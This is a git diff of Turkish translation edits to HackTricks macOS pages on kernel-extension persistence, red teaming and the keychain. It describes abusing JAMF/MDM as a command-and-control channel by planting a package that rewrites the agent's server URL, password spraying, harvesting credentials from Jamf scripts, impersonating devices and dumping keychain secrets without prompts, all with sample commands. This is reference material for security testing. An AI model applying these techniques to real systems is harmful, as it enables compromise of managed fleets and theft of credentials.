-1574,7 +1586,7 @@ Bir KEXT'i başlangıç öğesi olarak yüklemek için aşağıdaki konumlardan * `/Library/Extensions` * 3. taraf yazılım tarafından yüklenen KEXT dosyaları -Şu anda yüklenmiş kext dosyalarını listelemek için: +Şu anda yüklenmiş kext dosyalarını listelemek için şunu kullanabilirsiniz: ```bash kextstat #List loaded kext kextload /path/to/kext.kext #Load a new one based on path @@ -1582,7 +1594,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` -Daha fazla bilgi için [**çekirdek uzantıları kontrol etme bölümüne bakın**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). +Daha fazla bilgi için [**çekirdek uzantılarına bu bölüme bakın**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). ### ~~amstoold~~ @@ -1595,7 +1607,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilb #### Açıklama ve Sömürü -Görünüşe göre `/System/Library/LaunchAgents/com.apple.amstoold.plist`'den gelen `plist` bu ikiliyi kullanıyordu ve bir XPC servisini açığa çıkarıyordu... sorun şu ki ikili mevcut değildi, bu yüzden bir şey yerleştirebilir ve XPC servisi çağrıldığında ikili dosyanız çağrılacaktı. +Görünüşe göre `/System/Library/LaunchAgents/com.apple.amstoold.plist` dizinindeki `plist` bu ikili dosyayı kullanıyordu ve bir XPC servisini açığa çıkarıyordu... sorun şu ki ikili dosya mevcut değildi, bu yüzden bir şey yerleştirebilir ve XPC servisi çağrıldığında ikili dosyanız çağrılacaktı. Artık macOS'ta bunu bulamıyorum. @@ -1611,7 +1623,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilb #### Açıklama ve sömürü -Bu betiği çalıştırmak pek yaygın değil gibi görünüyor ve hatta macOS'ta bulamadım, bu yüzden daha fazla bilgi istiyorsanız yazıya bakın. +Bu betiği çalıştırmak pek yaygın değil gibi görünüyor ve macOS'ta bile bulamadım, bu yüzden daha fazla bilgi istiyorsanız yazıya bakın. ### ~~/etc/rc.common~~ @@ -1717,16 +1729,17 @@ esac * [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift) * [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA) +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/macos-hardening/macos-red-teaming/README.md b/macos-hardening/macos-red-teaming/README.md index 70f570ff5..2ebeb7287 100644 --- a/macos-hardening/macos-red-teaming/README.md +++ b/macos-hardening/macos-red-teaming/README.md @@ -1,27 +1,28 @@ -# macOS Kırmızı Takım +# macOS Red Teaming + +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın: [**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitim GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -- **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -- [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin -- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -- **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. -- **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## MDM'leri Kötüye Kullanma -- JAMF Pro: `jamf checkJSSConnection` -- Kandji +* JAMF Pro: `jamf checkJSSConnection` +* Kandji -Yönetim platformuna erişmek için **yönetici kimlik bilgilerini ele geçirirseniz**, kötü amaçlı yazılımınızı makinelerde dağıtarak **tüm bilgisayarları potansiyel olarak tehlikeye atabilirsiniz**. +Yönetim platformuna erişmek için **yönetici kimlik bilgilerini ele geçirirseniz**, kötü amaçlı yazılımınızı makinelerde dağıtarak **potansiyel olarak tüm bilgisayarları tehlikeye atabilirsiniz**. -MacOS ortamlarında kırmızı takım için MDM'lerin nasıl çalıştığını anlamanız şiddetle tavsiye edilir: +MacOS ortamlarında kırmızı takım faaliyetleri için MDM'lerin nasıl çalıştığı hakkında bir anlayışa sahip olmanız şiddetle tavsiye edilir: {% content-ref url="macos-mdm/" %} [macos-mdm](macos-mdm/) @@ -29,27 +30,27 @@ MacOS ortamlarında kırmızı takım için MDM'lerin nasıl çalıştığını ### MDM'yi C2 Olarak Kullanma -Bir MDM, profilleri yüklemeye, sorgulamaya veya kaldırmaya, uygulamaları yüklemeye, yerel yönetici hesapları oluşturmaya, firmware şifresi belirlemeye, FileVault anahtarını değiştirmeye izin verecektir... +Bir MDM, profilleri yüklemeye, sorgulamaya veya kaldırmaya, uygulamaları yüklemeye, yerel yönetici hesapları oluşturmaya, firmware şifresini ayarlamaya, FileVault anahtarını değiştirmeye izin verecektir... -Kendi MDM'nizi çalıştırmak için [**https://mdmcert.download/**](https://mdmcert.download/) adresinden alabileceğiniz bir **CSR'nızı bir satıcı tarafından imzalatmanız** gerekmektedir. Apple cihazları için kendi MDM'nizi çalıştırmak için [**MicroMDM**](https://github.com/micromdm/micromdm) kullanabilirsiniz. +Kendi MDM'nizi çalıştırmak için [**https://mdmcert.download/**](https://mdmcert.download/) adresinden alabileceğiniz bir satıcı tarafından imzalanan **CSR'nize** ihtiyacınız olacaktır. Apple cihazları için kendi MDM'nizi çalıştırmak için [**MicroMDM**](https://github.com/micromdm/micromdm) kullanabilirsiniz. -Ancak, bir uygulamayı kayıtlı bir cihaza yüklemek için hala bir geliştirici hesabıyla imzalanmış olması gerekmektedir... ancak, MDM kaydı sırasında **cihaz, MDM'nin SSL sertifikasını güvenilir bir CA olarak ekler**, böylece artık herhangi bir şeyi imzalayabilirsiniz. +Ancak, bir uygulamayı kayıtlı bir cihaza yüklemek için hala bir geliştirici hesabına sahip olmanız gerekmektedir... ancak, MDM kaydı sırasında **cihaz, MDM'nin SSL sertifikasını güvenilir bir CA olarak ekler**, böylece artık herhangi bir şeyi imzalayabilirsiniz. -Cihazı bir MDM'ye kaydetmek için kök olarak bir **`mobileconfig`** dosyası yüklemeniz gerekmektedir, bu dosya bir **pkg** dosyası aracılığıyla teslim edilebilir (zip içine sıkıştırabilir ve safari'den indirildiğinde açılabilir). +Cihazı bir MDM'ye kaydetmek için kök olarak bir **`mobileconfig`** dosyası yüklemeniz gerekmektedir, bu da bir **pkg** dosyası aracılığıyla teslim edilebilir (zip içinde sıkıştırabilir ve safari'den indirildiğinde açılabilir). **Mythic ajanı Orthrus** bu tekniği kullanır. ### JAMF PRO'yu Kötüye Kullanma -JAMF, **özel betikler** (sistem yöneticisi tarafından geliştirilen betikler), **yerel yükler** (yerel hesap oluşturma, EFI şifresi belirleme, dosya/işlem izleme...) ve **MDM** (cihaz yapılandırmaları, cihaz sertifikaları...) çalıştırabilir. +JAMF, **özel betikler** (sistem yöneticisi tarafından geliştirilen betikler), **yerel yükler** (yerel hesap oluşturma, EFI şifresi ayarlama, dosya/işlem izleme...) ve **MDM** (cihaz yapılandırmaları, cihaz sertifikaları...) çalıştırabilir. #### JAMF otomatik kayıt -`https://<şirket-adı>.jamfcloud.com/enroll/` gibi bir sayfaya giderek **otomatik kaydı etkinleştirilip etkinleştirilmediğini** kontrol edebilirsiniz. Etkinleştirilmişse **erişim için kimlik bilgileri isteyebilir**. +Öz-kayıt etkinleştirilmiş bir sayfaya gitmek için `https://<şirket-adı>.jamfcloud.com/enroll/` gibi bir sayfaya gidin. Etkinleştirilmişse **erişmek için kimlik bilgileri isteyebilir**. -[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) betiğini kullanarak bir şifre sıçratma saldırısı gerçekleştirebilirsiniz. +Şifre püskürtme saldırısı gerçekleştirmek için [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) betiğini kullanabilirsiniz. -Ayrıca, uygun kimlik bilgileri bulduktan sonra diğer kullanıcı adlarını kaba kuvvet saldırısı yapabilirsiniz: +Ayrıca, uygun kimlik bilgilerini bulduktan sonra diğer kullanıcı adlarını kaba kuvvet saldırısıyla deneyebilirsiniz: ![](<../../.gitbook/assets/image (107).png>) @@ -57,7 +58,7 @@ Ayrıca, uygun kimlik bilgileri bulduktan sonra diğer kullanıcı adlarını ka
-**`jamf`** ikili dosyası, zamanında **herkesle paylaşılan** anahtarı açmak için gizliydi ve o zaman keşfedildiğinde: **`jk23ucnq91jfu9aj`** idi.\ +**`jamf`** ikili dosyası, zamanında keşfedildiğinde **herkesle paylaşılan** anahtarı açmak için gizliydi ve bu: **`jk23ucnq91jfu9aj`** idi.\ Ayrıca, jamf **`/Library/LaunchAgents/com.jamf.management.agent.plist`** konumunda bir **LaunchDaemon** olarak kalıcıdır. #### JAMF Cihaz Devralma @@ -80,9 +81,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist ``` {% endcode %} -Bu nedenle, bir saldırgan, **bu dosyayı üzerine yazacak** şekilde kötü niyetli bir paket (`pkg`) bırakabilir ve yüklenirken **URL'yi bir Typhon ajanından Mythic C2 dinleyicisine ayarlayabilir** ve artık JAMF'ı C2 olarak kötüye kullanabilir. - -{% code overflow="wrap" %} +Bu durumda, bir saldırgan, kurulduğunda **bu dosyayı üzerine yazacak** şekilde kötü niyetli bir paket (`pkg`) bırakabilir ve artık JAMF'ı C2 olarak kötüye kullanmak için bir Typhon ajanından Mythic C2 dinleyicisine **URL'yi ayarlayabilir**. ```bash # After changing the URL you could wait for it to be reloaded or execute: sudo jamf policy -id 0 @@ -96,19 +95,19 @@ sudo jamf policy -id 0 Bir cihaz ile JMF arasındaki iletişimi **taklit etmek** için şunlara ihtiyacınız vardır: * Cihazın **UUID**'si: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` -* Cihaz sertifikasını içeren **JAMF anahtarlığı**: `/Library/Application\ Support/Jamf/JAMF.keychain` +* Cihaz sertifikasını içeren **JAMF anahtar zinciri**: `/Library/Application\ Support/Jamf/JAMF.keychain` -Bu bilgilerle, **çalınan** Donanım **UUID'si** ile ve **SIP devre dışı** bırakılmış bir VM **oluşturun**, **JAMF anahtarlığını** bırakın, Jamf **ajansını kancalayın** ve bilgilerini çalın. +Bu bilgilerle, **çalınan** Donanım **UUID'si** ile ve **SIP devre dışı** bırakılmış bir VM **oluşturun**, **JAMF anahtar zincirini** bırakın, Jamf **ajansını kancala** ve bilgilerini çalın. #### Sırların Çalınması

a

-Ayrıca, **özel betiklerin** yerini izleyebilirsiniz `/Library/Application Support/Jamf/tmp/` yöneticilerin Jamf aracılığıyla çalıştırmak isteyebileceği çünkü buraya yerleştirilir, çalıştırılır ve kaldırılır. Bu betikler **kimlik bilgileri içerebilir**. +Ayrıca, **özel betiklerin** yerine **yerleştirildiği, yürütüldüğü ve kaldırıldığı** `/Library/Application Support/Jamf/tmp/` konumunu izleyebilirsiniz. Bu betikler **kimlik bilgileri içerebilir**. Ancak, **kimlik bilgileri** bu betiklere **parametreler** olarak iletilmiş olabilir, bu nedenle `ps aux | grep -i jamf`'yi (root olmadan bile) izlemeniz gerekebilir. -[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) betiği yeni dosyaların eklenmesini ve yeni işlem argümanlarını dinleyebilir. +[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) betiği, yeni dosyaların eklenmesini ve yeni işlem argümanlarını dinleyebilir. ### macOS Uzak Erişim @@ -134,15 +133,15 @@ Bazı durumlarda **MacOS bilgisayarının bir AD'ye bağlı olduğunu** görecek [pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/) {% endcontent-ref %} -Size yardımcı olabilecek bazı **yerel MacOS araçları** `dscl`'dir: +Size yardımcı olabilecek bazı **yerel MacOS araçları** da `dscl`'dir: ```bash dscl "/Active Directory/[Domain]/All Domains" ls / ``` Ayrıca, MacOS için AD'yi otomatik olarak numaralandırmak ve kerberos ile oynamak için bazı araçlar hazırlanmıştır: -* [**Machound**](https://github.com/XMCyber/MacHound): MacHound, Bloodhound denetleme aracına bir uzantıdır ve MacOS ana bilgisayarlarında Active Directory ilişkilerini toplamayı ve yüklemeyi sağlar. -* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS'ta Heimdal krb5 API'leri ile etkileşim sağlamak üzere tasarlanmış bir Objective-C projesidir. Projenin amacı, hedef üzerinde başka bir çerçeve veya paket gerektirmeden yerel API'leri kullanarak macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapmayı sağlamaktır. -* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) aracı olan Orchard, Active Directory numaralandırması yapmak için kullanılır. +* [**Machound**](https://github.com/XMCyber/MacHound): MacHound, Bloodhound denetim aracına bir uzantıdır ve MacOS ana bilgisayarlarında Active Directory ilişkilerini toplamaya ve yüklemeye olanak tanır. +* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS'ta Heimdal krb5 API'leri ile etkileşim sağlamak üzere tasarlanmış bir Objective-C projesidir. Projenin amacı, hedef üzerinde herhangi başka bir çerçeve veya paket gerektirmeden macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapılmasını sağlamaktır. +* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) aracı, Active Directory numaralandırması yapmak için kullanılır. ### Alan Bilgileri ```bash @@ -150,20 +149,20 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil ``` ### Kullanıcılar -MacOS kullanıcılarının üç türü şunlardır: +MacOS kullanıcılarının üç türü vardır: - **Yerel Kullanıcılar** — Yerel OpenDirectory hizmeti tarafından yönetilir, Active Directory ile herhangi bir şekilde bağlantılı değillerdir. - **Ağ Kullanıcıları** — Geçici Active Directory kullanıcıları, kimlik doğrulamak için DC sunucusuna bağlantı gerektirirler. -- **Mobil Kullanıcılar** — Yerel yedekleri olan Active Directory kullanıcıları, kimlik bilgileri ve dosyaları için yerel bir yedekleme yaparlar. +- **Mobil Kullanıcılar** — Yerel yedekleri olan Active Directory kullanıcıları. -Kullanıcılar ve gruplarla ilgili yerel bilgiler, _/var/db/dslocal/nodes/Default_ klasöründe saklanır.\ +Kullanıcılar ve gruplarla ilgili yerel bilgiler _/var/db/dslocal/nodes/Default_ klasöründe saklanır.\ Örneğin, _mark_ adlı kullanıcıyla ilgili bilgiler _/var/db/dslocal/nodes/Default/users/mark.plist_ dosyasında saklanır ve _admin_ grubuyla ilgili bilgiler _/var/db/dslocal/nodes/Default/groups/admin.plist_ dosyasında bulunur. HasSession ve AdminTo kenarlarını kullanmanın yanı sıra, **MacHound Bloodhound veritabanına üç yeni kenar ekler**: - **CanSSH** - ana bilgisayara SSH yapmaya izin verilen varlık - **CanVNC** - ana bilgisayara VNC yapmaya izin verilen varlık -- **CanAE** - ana bilgisayarda AppleEvent betiklerini çalıştırmaya izin verilen varlık +- **CanAE** - ana bilgisayarda AppleEvent komut dosyalarını çalıştırmaya izin verilen varlık ```bash #User enumeration dscl . ls /Users @@ -189,7 +188,7 @@ Daha fazla bilgi için [https://its-a-feature.github.io/posts/2018/01/Active-Dir ## Anahtarlık Erişimi -Anahtarlık muhtemelen hassas bilgiler içerir ve bir uyarı oluşturmadan erişilirse kırmızı takım egzersizine devam etmede yardımcı olabilir: +Anahtarlık büyük olasılıkla hassas bilgiler içerir ve bir uyarı oluşturmadan erişilirse kırmızı takım egzersizine devam etmede yardımcı olabilir: {% content-ref url="macos-keychain.md" %} [macos-keychain.md](macos-keychain.md) @@ -197,7 +196,7 @@ Anahtarlık muhtemelen hassas bilgiler içerir ve bir uyarı oluşturmadan eriş ## Harici Hizmetler -MacOS Kırmızı Takımı, genellikle **MacOS'un doğrudan birkaç harici platformla entegre edilmiş olması nedeniyle normal Windows Kırmızı Takımdan farklıdır**. MacOS'un yaygın bir yapılandırması, **OneLogin senkronize kimlik bilgileri kullanarak bilgisayara erişim sağlamak ve OneLogin aracılığıyla birkaç harici hizmete** (github, aws gibi...) erişmektir. +MacOS Kırmızı Takımı, genellikle **MacOS'un doğrudan birkaç harici platformla entegre edilmiş olması nedeniyle normal Windows Kırmızı Takımdan farklıdır**. MacOS'un yaygın bir yapılandırması, **OneLogin senkronize kimlik bilgileri kullanarak bilgisayara erişim sağlamak ve OneLogin aracılığıyla birçok harici hizmete erişmek** şeklindedir (github, aws gibi). ## Çeşitli Kırmızı Takım teknikleri diff --git a/macos-hardening/macos-red-teaming/macos-keychain.md b/macos-hardening/macos-red-teaming/macos-keychain.md index 814295ddf..67c21918c 100644 --- a/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/macos-hardening/macos-red-teaming/macos-keychain.md @@ -1,24 +1,25 @@ # macOS Anahtarlık +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ### [WhiteIntel](https://whiteintel.io)
-[**WhiteIntel**](https://whiteintel.io), **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunar. +[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **tehlikeye atılıp atılmadığını** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur. WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir. @@ -35,7 +36,7 @@ Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz: ### Şifre Anahtarlığı Erişimi -Bu dosyalar, doğal korumaya sahip olmasalar da **indirilebilirler** ve şifrelerin **şifresiz metinle çözülmesi** için **kullanıcının düz metin şifresine ihtiyaç duyarlar**. [**Chainbreaker**](https://github.com/n0fate/chainbreaker) gibi bir araç şifre çözme için kullanılabilir. +Bu dosyalar, doğal korumaya sahip olmasalar da **indirilebilirler** ve şifreli oldukları için **kullanıcının düz metin şifresine ihtiyaç duyarlar**. [**Chainbreaker**](https://github.com/n0fate/chainbreaker) gibi bir araç şifre çözme işlemi için kullanılabilir. ## Anahtarlık Girişleri Korumaları @@ -47,35 +48,35 @@ Anahtarlıkta her giriş, anahtarlık girişinde çeşitli işlemleri kimin yapa * **ACLAuhtorizationExportWrapped**: Sahibin sırrı başka bir sağlanan şifre ile şifrelenmiş açık metin olarak almasına izin verir. * **ACLAuhtorizationAny**: Sahibin herhangi bir işlemi gerçekleştirmesine izin verir. -ACL'ler, bu işlemleri sorunsuzca gerçekleştirebilen **güvenilir uygulamaların listesi** ile desteklenir. Bu şunları içerebilir: +ACL'ler, bu işlemleri kullanıcıya sormadan gerçekleştirebilen **güvenilir uygulamaların listesi** ile desteklenir. Bu şunları içerebilir: * **N`il`** (izin gerekmez, **herkes güvenilir**) * Boş bir liste (**hiç kimse güvenilir değil**) -* Belirli **uygulamaların listesi**. +* Belirli **uygulamaların** listesi. Ayrıca giriş, **`ACLAuthorizationPartitionID`** anahtarını içerebilir, bu da **teamid, apple** ve **cdhash'yi** tanımlamak için kullanılır. * Eğer **teamid** belirtilmişse, giriş değerine **izin vermek** için kullanılan uygulamanın **aynı teamid'ye** sahip olması gerekir. * Eğer **apple** belirtilmişse, uygulamanın **Apple** tarafından **imzalanmış** olması gerekir. -* Eğer **cdhash** belirtilmişse, uygulamanın belirli **cdhash'e** sahip olması gerekir. +* Eğer **cdhash** belirtilmişse, uygulamanın belirli bir **cdhash'e** sahip olması gerekir. ### Bir Anahtarlık Girişi Oluşturma -**`Anahtarlık Erişimi.app`** kullanılarak **yeni bir giriş oluşturulduğunda**, aşağıdaki kurallar geçerlidir: +Yeni bir **giriş** **`Anahtarlık Erişimi.app`** kullanılarak oluşturulduğunda, aşağıdaki kurallar geçerlidir: * Tüm uygulamalar şifreleyebilir. -* **Hiçbir uygulama** dışa aktaramaz/şifre çözemez (kullanıcıya soru sormadan). +* Hiçbir uygulama dışa aktaramaz/şifre çözemez (kullanıcıya sormadan). * Tüm uygulamalar bütünlük kontrolünü görebilir. * Hiçbir uygulama ACL'leri değiştiremez. * **PartitionID** **`apple`** olarak ayarlanır. -**Bir uygulama anahtarlıkta bir giriş oluşturduğunda**, kurallar biraz farklıdır: +Bir **uygulama anahtarlıkta bir giriş oluşturduğunda**, kurallar biraz farklıdır: * Tüm uygulamalar şifreleyebilir. -* Yalnızca **oluşturan uygulama** (veya açıkça eklenen diğer uygulamalar) dışa aktarabilir/şifre çözebilir (kullanıcıya soru sormadan). +* Yalnızca **oluşturan uygulama** (veya açıkça eklenen diğer uygulamalar) dışa aktarabilir/şifre çözebilir (kullanıcıya sormadan). * Tüm uygulamalar bütünlük kontrolünü görebilir. * Hiçbir uygulama ACL'leri değiştiremez. -* **PartitionID** **`teamid:[teamID buraya]`** olarak ayarlanır. +* **PartitionID** **`teamid:[buraya teamID]`** olarak ayarlanır. ## Anahtarlığa Erişim @@ -93,21 +94,21 @@ security set-generic-password-parition-list -s "test service" -a "test acount" - ### API'ler {% hint style="success" %} -**Anahtarlık numaralandırma ve sızdırma** işlemi, **bir uyarı oluşturmayacak** sırların **LockSmith** aracı ile yapılabilir. [**LockSmith**](https://github.com/its-a-feature/LockSmith) aracı ile yapılabilir. +**Anahtarlık numaralandırma ve sızdırmazlık** oluşturmayacak sırların **dökülmesi**, [**LockSmith**](https://github.com/its-a-feature/LockSmith) aracı ile yapılabilir. {% endhint %} -Her anahtarlık girişi hakkında **bilgi** alın ve listelenir: +Her anahtarlık girişi hakkında **bilgi** listele ve al: -* **`SecItemCopyMatching`** API'si her giriş hakkında bilgi verir ve kullanırken ayarlayabileceğiniz bazı özellikler bulunmaktadır: -* **`kSecReturnData`**: Doğru ise verileri şifrelemeye çalışır (potansiyel açılır pencereleri önlemek için false olarak ayarlayın) +* **`SecItemCopyMatching`** API'si her giriş hakkında bilgi verir ve kullanırken ayarlayabileceğiniz bazı özellikler vardır: +* **`kSecReturnData`**: Doğruysa, verileri şifrelemeye çalışır (olası açılır pencereleri önlemek için false olarak ayarlayın) * **`kSecReturnRef`**: Anahtarlık öğesine referansı da alın (daha sonra açılır pencereler olmadan şifreleyebileceğinizi gördüğünüzde true olarak ayarlayın) * **`kSecReturnAttributes`**: Girişler hakkında meta verileri alın * **`kSecMatchLimit`**: Kaç sonuç döndürüleceği * **`kSecClass`**: Hangi türde anahtarlık girişi -Her girişin **ACL'leri** alın: +Her girişin **ACL'leri**ni alın: -* **`SecAccessCopyACLList`** API'si ile **anahtarlık öğesi için ACL'yi** alabilir ve ACL'lerin listesini döndürecektir (`ACLAuhtorizationExportClear` ve önceki diğerleri gibi) her liste şunları içerir: +* **`SecAccessCopyACLList`** API'si ile **anahtarlık öğesi için ACL'yi** alabilir ve her liste şunları içeren bir ACL listesi döndürecektir: * Açıklama * **Güvenilen Uygulama Listesi**. Bu şunlar olabilir: * Bir uygulama: /Applications/Slack.app @@ -119,12 +120,12 @@ Veriyi dışa aktarın: * **`SecKeychainItemCopyContent`** API'si düz metni alır * **`SecItemExport`** API'si anahtarları ve sertifikaları dışa aktarır ancak içeriği şifreli olarak dışa aktarmak için şifreleri ayarlamak gerekebilir -Ve **bir uyarı oluşturmadan bir sırrı dışa aktarabilmek** için gerekenler: +Ve **bir açılır pencere olmadan bir sırrı dışa aktarabilmek** için gereksinimler şunlardır: * Eğer **1'den fazla güvenilen** uygulama listelenmişse: * Uygun **yetkilendirmelere** ihtiyaç vardır (**`Nil`**, veya sırra erişim yetkisi için yetkilendirme izin listesinde olmak) * Kod imzasının **PartitionID** ile eşleşmesi gerekir -* Kod imzasının **güvenilen bir uygulamanın** kod imzasıyla eşleşmesi gerekir (veya doğru KeychainAccessGroup üyesi olmak) +* Kod imzasının bir **güvenilen uygulamanın** kod imzasıyla eşleşmesi gerekir (veya doğru KeychainAccessGroup üyesi olmak) * Eğer **tüm uygulamalar güvenilirse**: * Uygun **yetkilendirmelere** ihtiyaç vardır * Kod imzasının **PartitionID** ile eşleşmesi gerekir @@ -133,13 +134,13 @@ Ve **bir uyarı oluşturmadan bir sırrı dışa aktarabilmek** için gerekenler {% hint style="danger" %} Bu nedenle, eğer **1 uygulama listelenmişse**, o uygulamaya **kod enjekte etmeniz gerekir**. -Eğer **partitionID**'de **apple** belirtilmişse, **`osascript`** ile buna erişebilirsiniz, böylece partitionID'de apple olan tüm uygulamalara güvenen herhangi bir şey. **`Python`** bunun için de kullanılabilir. +Eğer **partitionID'de apple** belirtilmişse, **`osascript`** ile 